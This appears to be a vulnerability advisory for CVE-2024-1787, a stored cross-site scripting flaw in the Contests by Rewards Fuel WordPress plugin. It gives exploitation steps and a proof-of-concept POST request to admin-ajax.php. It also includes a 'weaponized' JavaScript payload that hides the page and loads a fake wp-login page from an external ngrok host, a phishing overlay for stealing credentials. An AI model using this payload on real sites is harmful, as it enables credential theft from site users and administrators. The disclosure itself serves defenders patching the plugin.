## CVE-2024-1787 https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/contests-from-rewards-fuel/contests-by-rewards-fuel-2062-cross-site-request-forgery-to-stored-cross-site-scripting ### Description > The Contests by Rewards Fuel plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'update_rewards_fuel_api_key' parameter in all versions up to, and including, 2.0.64 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. ### Vulnerability Type Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') ### Vendor of Product Rewards Fuel ### Affected Product Code Base Contests by Rewards Fuel <= 2.0.64 ### Exploitation An authenticated attacker can make a post request to admin-ajax, using the rf_ajax_handler action and calling "update_rewards_fuel_api_key" and modifying it to a malicious value, allowing them to have stored XSS. ### PoC > Make a post request to wp-admin/admin-ajax.php ``` action=rf_ajax_handler&update_rewards_fuel_api_key="'> ``` > Weaponized XSS ```javascript // Get all web elements const elements = document.getElementsByTagName('*'); const body = document.body; body.style.display = 'none'; // Loop through all elements and hide them for (let i = 0; i < elements.length; i++) { elements[i].style.display = 'none'; } // load a remote web page const xhr = new XMLHttpRequest(); xhr.open('GET', 'https://xxxxxx.ngrok.app/wp-login.html', true); xhr.onreadystatechange = function () { if (xhr.readyState === 4) { // Get the response and inject it into the page const response = xhr.responseText; document.body.innerHTML = response; } }; xhr.send(null); ```